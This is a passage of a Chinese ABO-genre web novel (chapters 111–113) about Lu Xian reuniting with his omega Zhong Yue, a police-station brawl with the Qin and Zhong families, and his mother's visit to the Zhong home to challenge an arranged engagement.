因为桃花活着,所以对所有的,一切的一切,他都可以不计较,他可以释怀了。 老天也没有对他太残忍。 110-114 第111章 第111章 等着坐牢吧你,我们秦家会…… 在卢羡信息素的安抚下, 钟悦的情绪也渐渐平稳了下来。 卢羡还有很多想问,但现在都不是时候,“你现在感觉身体怎么样?还好吗?” “我已经没事了,你不要担心。” 卢羡紧拥着他不愿再放开, 嘴角抑制不往上扬, 满是爱意的昵喃低语:“桃花,小桃花, 桃花啊~” 钟悦眼眶发红, 脸颊也在发烫, “阿羡。” “你是怎么认出我的?” 卢羡又想到在咖啡厅时, 他看自己时的眼神,还有指尖的触碰,他悄悄释放出的信息素,想来一阵心疼, 原来那时候, 他在试探,小心翼翼的伸出手, 他却没有给出任何回应。 “是直觉, 我曾经以为你是卢绛,可是在看到你的时候, 我就有一种直觉, 我要找的人, 是你。” 这也怪他自己, 当时他对桃花说, 他叫卢绛,他想成为卢绛,那年少时可笑的自尊与自卑。 卢羡稍微放开了他, 退后了一些,彼此视线在半空中交织缠绕。 “你长得真好看,好看得不像真实的。”卢羡轻抚上他的面颊,满是爱怜,小心翼翼,像是对待最珍贵的易碎品。 钟悦心脏狂跳不己,害羞的埋下了头,“哪有那么好看的?” “很好看,桃花最好看。” 钟悦心驰荡漾,紧握过他的手递到唇边轻吻着他的指尖,“我在黑暗里千百次抚摸过你的脸,可我想像不出来,你到底长什么样子。” 卢羡有些不安:“我的样子,你喜欢吗?” 钟悦失笑,“谁会不喜欢呢?” “那你喜欢吗?” “我喜欢。” 卢羡激动地笑出声,“那我这张脸没有白长。” 钟悦还是没有一点真实感,“我总感觉这一切来得太突然,好像做梦一样不真实。” “我也是……”卢羡抵着他的额头,“太美好了,美好得不真实。” 钟悦握拳轻抵着唇咳嗽了起来,卢羡紧张道:“是不是着凉了?早该把你身上的汗湿的衣服换掉的,你衣服在哪?我帮你拿。” “在那边的衣帽间,你推开小门进去。” “好,你等我。” 卢羡走进他的衣帽间,挑了一套纯绵的居家服出来,经过刚才一番折腾,钟悦依旧使不出什么力气。 “我来……”卢羡扶过他,迟疑了片刻,“我帮你换吧?” 钟悦双颊绯红,最终还是点了点头。 卢羡心无杂念地替他把衣服换下,拉过被子给他盖上,“你刚打了抑制剂,得好好休息,搞不好会受凉,要不还是吃点感冒药预防一下?” 钟悦紧扣着他的手:“你别走。” “我不走。” “别去买药,就这样陪着我,可不可以?” 钟悦不安到了极点,怕一觉醒来发现这一切都是在作梦,卢羡知道他的心思,因为他也一样。 “我带你走!” “啊?” 卢羡脱下自己的外套,将他拉起来,一把将他抱在了胸前,将自己的外套披在他身上,并替他拉上了帽子。 钟悦仰着脸,一双晶亮的眸子满是期待地看着他:“我们要去哪儿?” 卢羡失笑:“不知道,去哪里都好,只要能和你永远在一起。” “好。” 此时卧室外传来一阵急促的敲门声,卢羡还以为又是钟瑾他们,没想到是卢绛的声音。 “哥!钟悦,你们在里面吗?钟瑾报警了,我们先离开这里!” 卢羡抱着钟悦走出了房间。 看他们这样亲昵的模样,卢绛与景凉震惊的交换了一个眼神。 相亲都没有这么快的吧?卢羡这是……坐火箭直达了? “回头,”卢羡轻咳了下嗓门儿,“回头再跟你解释,今晚我能去你那里借宿一晚吗?” 他租的小屋子两个人睡太拥挤了。 “当然可以,”景凉笑着应下,“还是先离开这里再说吧。” “是啊哥,先走吧。”卢绛心情高兴得仿佛在云端飘着,太好了,卢羡有了在意的人,就一定会好好的活着吧! 景凉看卢绛一直在笑,嘴都快咧到耳后根,比他自己赚一个亿都开心。 他家alpha真是又善良又可爱啊! 在回去的车上,景凉便让家里的阿姨给收拾出了家里采光最好的一间客房出来,他想以他们这情况,可能需要长住一段时间。 钟悦现在的身体很虚弱,路上经过二十四小时药店买了感冒药先让他吃了一颗预防。 吃了感冒药没多久钟悦就沉沉睡了过去。 他已经很久没有睡过一天好觉了,身体和精神状态一直绷得紧紧的,就像踩纲丝的人,行差踏错,就会万劫不复。 回到房间,卢羡守了他许久,才走出房间面对卢绛的疑惑。 阿姨榨了鲜澄汁,“太晚了,喝咖啡影响睡眠,我榨了果汁,你们先聊着,我就不打扰你们了。” “谢谢阿姨。”卢绛道了声谢,“您快去睡吧。” 卢羡烦躁地有些想抽烟,刚掏出烟盒想到他们俩都没有抽烟的嗜好,又准备将烟盒塞回去。 “没关系,你抽,我去把客厅的排风扇打开。”卢绛转身去开了排风扇。 卢羡点了一支烟,深吸了口,试图自己的心情渐渐平静下去。 “要不喝红酒吧,我昨天刚开的一支波尔多红酒,口感挺不错的。”景凉微笑着建议,现在这情况喝点酒能对放松心情有奇效。 “谢谢。”卢羡没有拒绝。 卢绛坐在旁边看着他一脸凝重的模样,心里已经有了猜测,只是不由感叹这世间的缘分有时候真的很奇妙很神奇。 喝了酒,卢羡身心渐渐放松下来,“我的过去,你应该调查过,你知道多少?” 卢绛坦白道:“应该,大部分吧。” 卢羡嘲讽笑了声:“所以你一直让着我,在我面前小心谨慎的样子是在可怜我?” “我没有可怜你,”卢绛无奈叹了声:“我只是心疼,我们的命运互相交缠没有谁赢谁输,我们的苦难虽然不同,但我想,应该能互相解吧。” “可你知不知道,我曾经想杀了你。”卢羡坦诚的看着他,“杀了你,然后取代你所拥有的一切。” “你没有,不是吗?” 卢羡将杯里的酒饮尽,十指交扣撑着额头,满身阴郁,“因为整个事件里,只有你是无辜的,而我也从一个受害者,变成了加害者。” 一阵死寂后,卢羡抬头问向他:“你不想报仇吗?” 卢绛十分肯定道:“不想,有些人死有余辜。” “我也该死,我也死有余辜。” “当正义不再审判罪恶,道德便会成为枷锁。”卢绛冲他不在意笑笑:“我不会被困住,是非对错,我分得清楚。” 卢羡怔愣地看着他,内心震撼无比,“你真的很强大,比我想像的要更坚韧、强大。” “你也是,你已经很厉害了,能活着从那里走出来替自己主持公道。”卢绛揽过他的肩膀,语重心长道:“哥,过去的事情,就让他们都过去,不要再提!对任何人,都不要再提,明白吗?” “过了今晚,你就把那些糟心的事情都忘了,你要活着又不止是活着,人最大的恶就是辜负自己,辜负自己的人会遭报应,只要问心无愧,你就是无罪。” 在这一刻,卢羡身上的枷锁仿佛全部卸下,轻松舒畅无比,过去所有的屈辱与痛苦,化作了泪水,从身体里流出,也彻底的与他的生命切割。 “我自由了!”卢羡哽咽出声,哭得像个孩子。 * 黎花在监狱里关了一个多月,被人保释了出来,她以为是黎家的人,心里总算有了点安慰。 但当她上车时,却看到后座坐着的是卢佑铭。 正进退两难时,卢佑铭没好气问了声:“你要是出去还是要进来?” 黎花闭目掩去深深的厌恶,还是坐了进去,尽量与他保持着最远的距离。 “我已经让律师对你撤诉,但是黎家没救,你不必再白费心思。” 黎花双手紧握成拳,眼里闪烁着不甘的泪水,压抑的委屈与沉痛的恨意在这一瞬间爆发,她朝这个男人歇斯底里:“要我叩头谢谢你的大恩大德吗?卢佑铭先生?!你怎么还能端着一副高高在上的嘴脸,如此风轻云淡?!” 黎花紧揪着他的衣领控诉着:“你到底知不知道我们阿羡遭遇过什么?你怎么能狠心成这个样子?我的心都要碎了,我恨不得杀了你!!” “这就是你能这样精神虐待阿绛的由?” “哈哈哈哈……阿绛阿绛,你心里只有那个女人的儿子!阿羡也是你的儿子,卢绛从小到大要什么有什么,他有什么委屈啊?他还骗了我这么多年的母爱,我的阿羡什么都没有!他从小到大都被那个女人虐待,十二岁就被卖掉了!卖掉了你懂吗?卢佑铭你知不知道?!” “卢绛到底有什么好委屈的?他所拥有的一切,本来就是我儿子的!他和那个女人一样该死!!我没能杀死他,是我没用!!” 卢佑铭双眼布满血丝,狠狠扣住黎花的下巴,一字一顿的咬牙低语道:“知道你为什么还活着,死的是她吗?你真以为你做得很干净?!” 黎花瞪大着满是泪水的双眼,却充满了无力感,“你什么都知道?为什么?为什么不救阿羡?为什么!他也是你的儿子,你为什么要这么对他?!” “我如果知道……”卢佑铭呼吸一窒,稳了稳失控的情绪,才继续道:“我如果知道当年她在骗我,我不会让这样的事情发生,阿羡与阿绛都是我的儿子,只是让他们换了一个环境,我没有要虐待阿羡!卢家当时只是需要一个继承人!” “是那个女人她一直骗我,每次去看阿羡,她在我面前对阿羡很好的!” “你别想再骗我!阿羡失踪这么多年,你就一点也没想过要去找他?啊?” “阿羡十二岁那年,我在国外出差,一去就是半年,我回来她就告诉我,阿羡感染病毒突然就没了,那一年确实有一个新型病毒死了很多孩子!我当时太过震惊伤心,很内疚很自责,选择了逃避,没有再去细想其中细节。后来我知道了一些事情,阿羡在她那里过得不太好,所以我才断了她的资金,让她去了小镇生活。” “阿羡给我下毒,想让我死,我都接受了啊!事已至此,那还能如何呢?” 黎花嘲讽笑了声:“事已至此?还能如何?你当初要是不找那个女人,什么事都没有!” “我为什么不能找?我们之间只是利益交换,你从嫁进卢家开始,心一直是偏着黎家的,那真让阿羡一直留在卢家,他到底是姓卢还是姓黎?!” “卢佑铭,你真是好狠!在你的眼里,家族企业的利益,远胜于一切!” “哈!那你又何偿不是?彼此彼此罢了。” 之后便是漫长的死寂与沉默,彼此坐在两端,脸扭向窗外,连多看一眼都生厌。 * 钟悦迷糊中被一阵电话铃声吵醒,不是他的来电铃声,他迷糊睁开了双眼,看到沙发上的alpha坐起身,接了电话。 “我知道了,我会去的。”说完,卢羡就挂断了。 他察觉到钟悦的视线,扭头看去。 “你要去哪?”钟悦紧张的问他。 卢羡走到床边,俯身吻了下他的额头:“我去一趟警察局,昨晚你那个傻B弟弟报警了,说我私闯民宅,还掳走了他哥。” “我跟你一起去。”钟悦紧攥着他的手,一脸认真道:“我是自愿跟你走的,不是被掳走的。” 卢羡嘴角掩不住的笑意:“好,我们一起去。” 钟悦跟着笑了出来,心从未有过的安定,只要能待在他身边,做什么都好。 两人洗漱好来到大厅,阿姨立即回了厨房给他们做早餐。 景凉已经上班去了,卢绛正在院子里做有氧运动,见他们起床,回了大厅。 “哥,早上好。” “早上好。”卢羡面对他,没再如之前那样尖锐,还能主动与他多说了几句:“你吃早饭了吗?” “吃了,你们吃吧。”说着坐到了一旁拿出手机刷今天的都市新闻。 “不去学校?再过一个多月,你们要期末考了吧?” “哦,我请假了,而且现在课业也没那么忙,我不会挂科的。”卢绛冲他自信笑了笑。 钟悦面对卢绛还有些尴尬,毕竟之前差点认错人了,还说了很多莫名其妙的话,啊~希望他已经忘了。 “你好,阿绛。” “大嫂好。” 卢羡给了他一个肯定的眼神,非常上道! 钟悦脸红红的埋头假装吃饭,就当默认了。 “你们等下要出门吗?”卢绛直觉问道。 钟悦轻应了声:“我去一趟警察局。” “哦……”卢绛想起,昨晚钟家人报警了,肯定是要过去一趟把问题解决的,“我送你们过去。” “不用了,我和桃花……和悦悦一起过去。”已经很麻烦他了,卢羡想自己能解决的就自己解决。 ‘悦悦’这个新称呼让钟悦脸红到脖子根,好像长这么大,还没有人这样叫过他。 卢绛难免有些担心:“秦家人有些难缠,你们还是尽量小心一点,有什么情况第一时间给我电话。” “好。” “车库墙上有钥匙,你随便挑一辆开吧。” “我还没有驾照。”卢羡尴尬道。 “大嫂有的吧?” “嗯。”钟悦点头。 卢绛认真想了想,还有什么没有交待的,“那,路上小心安全。” 卢羡不由失笑,“你怎么操心得像个小老头一样?走了!” 卢绛朝他们挥挥手,随后又一脸凝重的想着秦钟两家的婚约,这两家在帝都是有头有脸的,现在所有人都知道卢羡与黎花跟卢佑铭已经撕破脸了。 秦钟两家就没有什么顾忌,而他和景凉也插不上手啊! 硬碰硬虽然不怕,但他们不占。 帝都的经济命脉还是握在卢佑铭的手中,这些人都是要看卢佑铭的脸色行事,毕竟他如今是帝都商会的会长。 卢羡是不可能向卢佑铭低头回去的,那只有卢佑铭自己低下头拉卢羡一把。 可能吗?卢佑铭那样自私、骄傲的人。 钟悦开着车与卢羡一起来到警察局做笔录,刚开始一切都还正常,直到秦钟两家人过来指认。 还拿出了秦昭的七级伤残证明过来,说是要起诉卢羡故意伤人和非法私闯民宅罪,要求立即逮捕他。 警察看了供词,又看了钟悦提供与卢绛之间的聊天记录,是认识的人,钟悦自己说了早已有约,看他没来出于关心才来看他,不算私闯民宅。 但是秦昭涉嫌QJ未遂罪。 因为对方有医院开的七级伤残证明,警察不得不先逮捕拘留了卢羡。 卢羡强烈对这份伤残证明存疑,“那二楼的阳台距离地面不过三米高,而且下面是柔软的草地,顶多只是轻微骨折,怎么可能摔得这么严重?!” 秦母冷笑:“你的意思是医院还能给咱们秦家开假证明?小伙子,你说话得讲证据,别再担上一个什么诽谤罪,给医院造成名誉损失,我怕你现在赔不起呀!” 昨晚听到钟悦跟别的alpha私奔的事情,钟父和继母连夜坐飞机赶回了帝都,就怕因为这个情况影响秦钟两家接下来的合作。 钟悦拉住卢羡,摇了摇头,示意他不要冲动。 他满脸坚决道:“但昨晚钟谨联合秦昭将我锁在房间里,秦昭释放信息素诱导我……还想对我用强的是事实!” “你有什么证据吗?”秦母将他上下打量了一番:“你没证据,那我是不是也可以说,是你释放omega信息素勾引我家秦昭呢?你们都订婚啦,就是真有那什么也正常吧?哦哟~一边钓着我们秦昭,一边跟别的alpha鬼混不清,大家都长了眼睛,你可别含血喷人!” 钟悦知道秦母是个难缠的,不再她的诡辩,只是看向父亲:“爸,我要和秦昭解除婚约。” 钟父气得脸色铁青:“你再说一次!” 钟悦没有一丝胆怯,扬着下巴又重复了一遍:“我要和秦昭解除婚约,他是个人渣,我不会和他结婚的!” 钟父一个激动,扬手就这么给了钟悦一耳光。 看着钟悦被打,卢羡脑子嗡的一声就炸了,冲上前给了钟父一拳,将他压在地上一阵胖揍,“你敢打他?谁让你动他的!我打死你!!” “我打我儿子有什么错?你又是从哪里冒出来的野东西?!” “你没有管过他,有什么资格打他?今天我就要替钟悦好好教训你个老东西!” “警察同志,你们看到了啊!就这野蛮不讲的混帐,他不止拐走我儿子,还当着所有人的面打人,他有暴力倾向!!啊——!” 钟悦吓得脸色惨白,见继母想要去拽卢羡,他慌忙的上前拦住了继母。 “钟悦,你没看见你爸被外人打了吗?!” “他不是外人,他是我的alpha,他打人是不对,我等下会好好说他的,他正跟我爸打着呢,你过去拉偏架那我也得拉。” “你眼睛瞎啦!是你爸被他按在地上打!”继母扶额气得快要昏过去。 好在警察很快将他们给拉开,卢羡力气太大,毕竟A+alpha的爆发力惊人,好几个警察才将他按住。 钟悦过去抱过卢羡,用信息素安抚了他:“阿羡,冷静,我没事的,没事的。” 卢羡红着眼睛,心疼的看着他钟起来的一边脸,只恨自己刚才下手还太轻了。 “你们警察愣着干什么?寻衅滋事,妨碍公务,你们快把他抓起来呀!一定得重判,这种社会人渣有暴力倾向,就是个颗定时炸弹,今天打人,指不定明天就杀人。” 钟悦泛红的双眼满是愤恨地瞪向秦母:“先教好你的儿子吧,QJ犯!” “你!”秦母指着钟悦半晌,被怼得一句话都说不出来。 秦母气得胸膛巨烈起伏,笑容扭曲看向一社被打得鼻青脸肿的钟父:“你教出来的好儿子,就这样劣迹斑斑的omega我们秦家可不敢要。” 钟父气极,从外面叫来保镖强行将钟悦从卢羡身边拉走。 “放开我!我不回钟家,你们放开!!” “悦悦!!” 卢羡双手被铐住,只能眼睁睁看着钟悦被带走,秦母一脸森冷的神情注视着他:“你把我儿子打成那样,等着坐牢吧你,我们秦家会请最好的律师告到底!” 第112章 第112章 叫你们钟总出来,…… 卢绛很担心, 开车去了卢氏集团。 卢佑铭正在开会,秘书领了他去董事长办公室,卢绛很少来这里,秘书一直没忍住打量他。 卢董在年轻的时候也是帝都有名的美男子, 儿子继承了他的优良基因, 青出于蓝而更甚于蓝。 “卢少,您估计还得等半个小时董事长才能开完会出来, 我给您拿些喝的。” 卢绛拿过桌上放的企业杂志说道:“一杯拿铁, 谢谢。” “好的。” 卢绛心不在焉的翻着杂志, 等待的时间仿佛无限延长, 直到办公室外传来说话的声音与脚步声,卢绛急迫的起身迎了上去。 卢佑铭现在休养得差不多了,已经能拄拐走路,不需要再靠轮椅了。 其实本来也就是一点小毛病, 愣是被他演得跟真的要死了似的。 得知卢绛过来有些许惊讶, 因为他这个儿子对卢氏集团是一点兴趣都没有,有一段时间来这里, 只是为了要钱。 自从不再管他要钱之后, 这还是第一次来公司找他。 “你过来是又闯什么祸了?” 这话实在不中听,好在卢绛也不计较, 脾气十分温和稳定, “我没有闯祸, 不过我过来确实有件事情急须要找您帮忙。” “那还不是闯祸 ?” 卢绛无奈:“是关于卢羡的。” 听到这个儿子的名字, 卢佑铭整张脸都严肃起来, 紧抿着唇不发一语。 “卢羡之前有个标记过的omega,您知道吗?” 卢佑铭深吸了口气:“过去的事情提它做什么?难道很光彩?” “是不光彩,但那也是他生命的一部分。” “你直说。”卢佑铭显然不想听这些事情。 “那个omega现在找到了, 但他跟秦家已经订婚,卢羡找到这个omega是不可能放手的,现在已经起了冲突,钟秦两家不会善罢甘休。” 卢佑铭神情严峻的抿唇语久,问道:“那个omega也愿意和他在一起?” “嗯,他们非彼此不可。” “你想让我摆平秦钟两家?” “在帝都现在也只有您能压得住这两家吧?” 卢佑铭冷笑了声:“我愿意,他未必会愿意,难道还让我这个做老子的,去跟他低头?你哥他想让我死!” “您现在不是没死吗?” 卢佑铭气得直拍桌子:“你说的什么话?我万一真嗝屁了,你是不是还得跟那个孽障一起放几个炮庆祝一下?!” “爸,您别这么激动,我没有这个意思啊!” “真不知道我怎么就得了你们两个冤孽,别人家的兄弟为争个家产拼得你死我活,我家的倒好,一个比一个友好爱和平,真是好兄弟!” “难道拼个你死我活就好了?” “优胜劣汰,这是生存法则!” “那是您的生存法则,我和卢羡是不可能斗的。毕竟我现在自己的事业做得挺好,您还是好好想一想,怎么把卢羡拐回来继承公司更靠谱。” 卢佑铭想骂他,但又不知从何骂起,仔细一起,他说得是很有道,他拼了半辈子的事业,不可能拱手送给外人。 卢佑铭揣着手靠进沙发椅里,开始沉思。 “卢羡,现在人在哪?” 卢绛刚想说什么,电话响了,卢绛想着是他哥的电话,赶紧接了:“你好,我是卢绛……什么?我马上过来。” 挂断电话,卢绛眉头深锁:“爸,哥他被拘留了,打电话过来让我去把罚金交了。” “带公司的顾问律师过去,你就说是你请过去的。” 卢佑铭还是不愿意拉下这张老脸,傲骄得很。 “那我先替哥谢谢您,我先去一趟,有什么情况再打电话。” 卢佑铭将秘书叫进了办公室,吩咐道:“你让赵律师跟卢绛走一趟。” “好的卢董。” 卢绛带了律师过去,交了足够的保证金,签了几份文件才肯放人。 离开前警察叔叔再三强调:“不能再发生之前那种事了,要是他再打人犯事,那下次可就不只是交保证金这么简单,是必须得拘留。” 律师赔着笑:“懂的懂的,谢谢了啊警察同志。” 回去的车上,卢羡的情绪一直很低落,卢绛以为他会想去找钟悦,但他没有,整个人显得极其冷静。 他越是这样,就越让卢绛担心。 车子缓缓停在了院里。 卢绛解开了安全带,安慰道:“哥,你别担心,大嫂现在不会有什么危险,我们再想办法。” “我是不是很没用?”卢羡陷入深深的自我怀疑中。 “怎么这么问?” “我既做不到给自己兜底,也没办法保护好桃花,就像一个废物,什么都做不了。”这样的感觉,实在太糟糕了。 当他意识到,自己只能眼睁睁看着桃花被带走,自己什么也做不到时,那种无力感让他开始痛恨起自己。 “不是这样的,哥,不是的。”卢绛想到曾经的自己,也如他这般,拼了命的对抗命运对抗边乔,却只能像蝼蚁一样被践踏。 “一个人的力量是有限的,既赢不过权利,也很难赢得过命运,你怎么会将这么现实的问题全部归咎于自己身上?” 卢羡觉得自己越来越欣赏喜欢这个弟弟,怪不得景凉那样的omega都能被他彻底的折服。 “我觉得你既然是生在卢家,有这个得天独厚的身份,为什么不利用?彻底摆脱卢家是不现实的,何况你过去的不幸,也皆因为你是卢家继承人这个身份,不是吗?” “你想让我怎么做?” “在见你之前我去找卢佑铭了……” “别说了。”卢羡听得一阵反感,“我不想听到有关于这个人的一切!” 正当陷入僵局时,卢羡的手机铃声响了,他看了眼来电,心脏漏了一拍,小心翼翼看了眼卢绛,说道:“我接个电话。” “嗯,我先下车。” 卢绛推开了车门回了屋,其实他看到了来电显示——妈妈。 现在是卢羡一个人的妈妈,至少他还有妈妈。 电话接通后,那端传来黎花略带沙哑的嗓音,“阿羡,你在哪儿呢?” 黎羡沉默了许久,“你找我有事吗?” “妈妈想见你,对了,狗狗卢比现在养在公寓里,阿姨照顾得很好,你要来看看吗?” 黎羡暗抽了口气,心情凝重:“嗯。” “你想吃什么?妈妈给你做?” “随便,我先挂了。”黎羡心情复杂的挂断了电话,他知道自己所遭遇的这一切不能怪她,她也是受害者,可是心里的隔阂没办法。 卢羡在卢绛这里吃了午饭,下午便坐着公交车赶去了黎花现住的公寓里。 虽然黎家倒了,但黎花依旧占有卢氏集团百分之五的股份,为了公司,卢佑铭与不会与她离婚。 如今维持着夫妻之名,各自分开生活,也是最好的结局。 看到卢羡过来,黎花脸上掩不住欣喜,为了讨好儿子,赶紧把狗狗叫了过来:“卢比,卢比你看谁来啦?” 当卢比高兴的跳着往卢羡身边转圈圈时,卢羡脸上的冰霜渐渐融化,他蹲下身摸了摸卢比。 狗狗虽然不会说话,但是它会用行动表达,“卢比,对不起。”养了它,又没能负责,他不是一个称职的主人。 卢羡抱起卢比走进了屋内,房子不算很大,但是非常温馨,住两三个人绰绰有余。 窗外视野很好,没有什么遮挡物,南北通风,采光也好。这里大概是市区最值钱的公寓楼盘了。 离开卢家她也能过得很好,这让卢羡的心情稍微轻松了些。 黎花在他来之前,就和家里的阿姨烤了很多小饼干和蛋糕,看到这些精致的甜品,卢羡想起钟悦应该会喜欢吃,他喜欢吃甜的。 于是卢羡拿起饼干尝了尝。 “味道怎么样啊?”黎花一脸期待的看着他。 “嗯。”卢羡真诚地点了下头:“好吃的。” 黎花这才笑了出来:“你喜欢,以后妈妈经常给你做。” 母子之间话不多,卢羡不回话,又是一阵尴尬的沉默。 黎花暗抽了口气,挤出一个笑来:“你现在住哪儿?你没有回卢家,一个人在外面,谁照顾你啊?” 卢羡:“我自己可以照顾自己。” 黎花鼻子一阵泛酸,自责愧疚无比,是她没有看好自己的孩子,才叫他受了这么多年的委屈与苦难,卢绛心安得的接受她和卢家给予的一切,她一想就觉得恨。 “要不妈妈给你找个房子,你先住着?老是住外边租房子住不太方便……” 突然卢羡的手机铃声响了,是陌生男子的声音,通知他秦家已经对他进行了起诉,法院传票会在这几天寄过来,注意签收。 卢羡不发一语地挂断了电话,他决定去医院看看那个秦昭,看是否真的构成了七级伤残,要是没有的话,还是要将他先打成七级伤残再说,这样判下来自己也不冤枉。 见他接了电话后,表情不对劲儿,黎花担忧的问道:“怎么了?谁的电话?” “法院那边。” 黎花心脏紧了下,随即又冷静了下来:“是你最近出了什么事?跟妈妈说说吧。” 他想起卢绛说的话,一个人的力量是有限的,既赢不过权利,也很难赢得过命运,或许他不应该这么倔犟,能活得更轻松一点。 “我……” “嗯?” “我看上了一个omega。” 黎花听完满是欣喜:“这,这是好事啊!你有了喜欢的人,生活也会更有趣,干什么事有了目标和方向!是哪家的呀?” “钟家。” “钟家?”黎花以为是钟瑾,钟瑾也到了能结婚的年纪,“妈妈给你安排。” “可是他已经订婚了,订婚了秦家,会不会很棘手?” 黎花风轻云淡一笑:“我当是哪家呢?你看上的omega,谁敢和你争?别说订婚了,就是结婚了,也是一句话的事。” “妈……你这……”三观是有点不正的。 “妈妈也只能为你做这些,以后谁都不能再欺负我儿子!只要是你想要的,那都是所当然的!不管用什么方法,妈妈都会想办法给你拿过来。” 卢羡心里淌过一丝暖流,嘴角噙了些笑意,“谢谢。” “我们是母子,不用说谢。”黎花看自己的儿子,自然是越看越满意,越看越心疼,“对了,法院找你也跟钟家有关?” “跟秦家有关。”卢羡眉头紧锁:“他想对悦悦无礼,我把他收拾了一顿,他现在躺医院里,做了伤情鉴定,非说我把他打成了七级伤残,所以我想去看看他,是不是真的。” 黎花面上浮现一丝薄怒:“他们怎么敢的?” 如今外边传言她和卢羡被赶出了卢家,就敢骑到他们母子俩脖子上撒野,真是可笑至极! “正好下午妈妈也没别的事,便陪你去一趟钟家?” 卢羡心下一喜,说不定顺利的话,可以把钟悦带出来。 “那我们现在去?” 见他那急切的模样,黎花不由失笑,看来阿羡是真的很喜欢那个omega。 “现在去,妈妈去换一套衣服。” “好。” 黎花走进衣帽间,换了一套手工订制的女士西装,利落干练的模样就像要上战场。 即使没有卢家,黎花也从不是豪门软弱的娇花,她一直蛰伏着想要夺取更多的利益,虽然最终是失败了,但不妨碍她依旧是个手腕强悍的女强人。 黎花开车带着卢羡再次来到了钟家。 因为卢羡把钟父打了,这几天钟父一直在家里养伤,鼻青眼肿,一时半会儿是不会消的。 听到门铃响,阿姨准备去开门。 卢羡那晚来过,阿姨一眼就认出来了,他长得俊美高大,看一眼就能记得住。 那阿姨吓得调头就跑。 黎花中气十足的喊了声:“叫你们钟总出来,我是来说亲的。” 说完,拍了拍儿子的手臂,安慰道:“阿羡你放心,这事肯定能成。” 卢羡淡着脸轻应了声,说不成也没关系,日子还长着,机会多得很,他总能把悦悦带出去。 钟家的继母正在给钟父擦药膏,边擦边气得头顶冒烟:“那该死的兔崽子,怎么能下手这么重?” 钟父恨得咬牙切齿:“他要再敢来,看我不打残他!” “钟先生,钟太太不好了!” “什么事嚷嚷这么大声?” “那个alpha他他他……他又来了,好像还把他妈给找来了。” 钟父拍案而起:“好,来得好,我倒要看看是谁家教出来的小畜生,这么狂傲,这么目中无人!放他们进来!!” 第0113章 第113章 ◎秦总,你把我儿子弄哪去了?劳烦全须全尾的送回来吧。◎ 阿姨开门将人领了进来, 钟父都已经撂起袖子大干一场了。 远远瞅着进来的那美妇人身形有些眼熟,总觉得在哪里见过,但是他有点想不起来。 直到黎花自信从容面带微笑地走了进来:“钟总, 别来无恙呀!” 还是钟夫人先将人给认了出来, 富太太圈里经常会有茶会,她也会参加 , 但是她只能算第三梯队的, 眼前这个贵妇人,可曾经是富太太圈里她们望尘莫及的金字塔尖! “卢夫人, 您怎么会有闲情光临寒舍?快, 快请坐。” 说实话,黎花对她没印象,但她能一眼将她认出来,想必参加过不少帝都贵妇圈里的茶会。 “我是为了我儿子过来的。”黎自在沙发坐下。 钟父小声问道:“她是卢董的老婆?” “一定没错,就是她。” “她刚说为了她儿子,那这小子……” “先招待着,等会儿再说。”钟夫人陪着笑, 一起和阿姨去厨房里准备了果盘和小蛋糕出来。 “不知道两位想喝点什么?” 黎花看向一旁的儿子,“阿羡喝什么?” “随便。” “那就咖啡吧。” “好的, 马上准备。” 钟父忐忑不安的坐在安发上,已经没有了一开始的气性,高高撂起的袖子也放下了。 “我听说我儿子与你们钟家发生了一些不愉快?”黎花气势十足的问向钟父。 钟父若无其事的笑道:“小孩子玩闹而己,不能算数的。” “哦?可我听说不是这样?你们还想告他,想让他蹲局子?” 钟父一阵窒息:“这是有点小误会, 之前也不知道这位就是卢家的公子啊!毕竟我们钟家也曾受卢董多有照顾, 这点好歹也是分得清的。” 此时钟夫人将咖啡与小蛋糕送了过来, “卢夫人, 卢少,请喝咖啡。” 黎羡有些不耐烦:“我来找人的。” 钟夫人挤出一个笑来:“我们家钟悦现在不太方便见客,要不以后有时间,我们再叫他去卢家给两位赔个不是。” “钟悦?”黎花疑惑的在黎羡耳边低声询问:“你看上的那个omega叫钟悦?” “嗯。” 黎花深吸了口气,也有些好奇,她只记得钟家有个叫钟瑾的omega,她之所以记得也是之前想给卢羡找一个能给他帮助的联姻对象,她精心挑选了很久,不过那个钟瑾被淘汰了。 听到不是钟瑾,她反而松了口气,那孩子各方面条件也确实不怎么样,根本配不上她儿子。 “我竟不知道你们家还有一个,叫出来让我见见。” 钟夫人的笑容渐渐扭曲:“其实是这样的,我们家钟悦呢,已经和秦家那个订婚了。” 黎花冷笑:“我竟不知道秦家还有这能耐?” 钟父打着圆场:“我家夫人不是这个意思,卢夫人误会了,我们和秦家是多年的合作关系,这门亲事是早就订下的,而且都通知了亲朋好友,日子也看好了,我家钟悦也是愿意的。” “他愿不愿意,将他叫出来不就知道了?”卢羡脸色铁青,他们分明睁着眼睛说瞎话。 “阿羡说得对,现在都什么时代了,还搞这种父母包办婚姻?还是得孩子们自己同意才好。” “那,两位稍等片刻,我和我家老钟上去做一做工作,看钟悦自己愿不愿意下来。” 说着,钟夫人拉着钟父一起上楼去了。 卢羡暗地里翻了一个大白眼,装模作样的,不知道背地里整什么幺蛾子。 两夫妇到了二楼走廊,商量一番,先给秦家打了一个电话。 那端很快接听了,秦父在公司,他老婆还在医院VIP病房陪着秦昭。 “老钟,你这会儿打电话过来有什么重要的事?” “哎呀,事情有些糟糕!” “什么事?” “那小子,打我和秦昭的那小子,你知道他是谁不?” “怎么着?他还有些身份不成?呵!” “他是卢家一年前认回来的那小子!” 电话那端沉默了许久,“嘶~没弄错?” “没有,今儿那黎花都领着他上门来了,这会儿要见钟悦。” 那秦总怕他想另攀高枝犯下糊涂,影响了两家合作,便赶紧说道:“你随便打发了他们走便是。” “怎么说?” “那么大事你没听说?这俩母子早被赶出卢家了,现在还能翻起什么风浪?老钟,咱认识这么多年,我掏心窝子跟你说,要上门来找的是那位小太子爷卢绛,你想攀高枝我不拦着,但这位,你可别作死!” “哪能啊?我也是听到一些风声才犹豫,跟你打了这通电话,那既然是这样,我想办法把他们打发走。” “诶,你这么做就对了,不用怕!卢佑铭之前都把他这老婆送进去了,还能有什么感情?那个野小子就更微不足道了,卢家家产没他的份!” 听姓秦的这么一说,钟父就更加无所顾忌了,“行!我这便将他们母子打发走。” 没一会儿,钟父从二楼下来了,冲他们笑得狡黠:“这个,我家钟悦他身体不舒服,在休息呢,两位还是先回去吧。” 这话一听就是敷衍,黎花也不恼,她做事向来不喜欢正面冲突,这不是她的风格。 眼看卢羡就要冲上去论,黎花拉住了他,冲他摇了摇头。 “钟总确定吗?”黎花不用想也知道,刚才定是得到了什么自以为确切的消息,便能拿捏他们母子了。 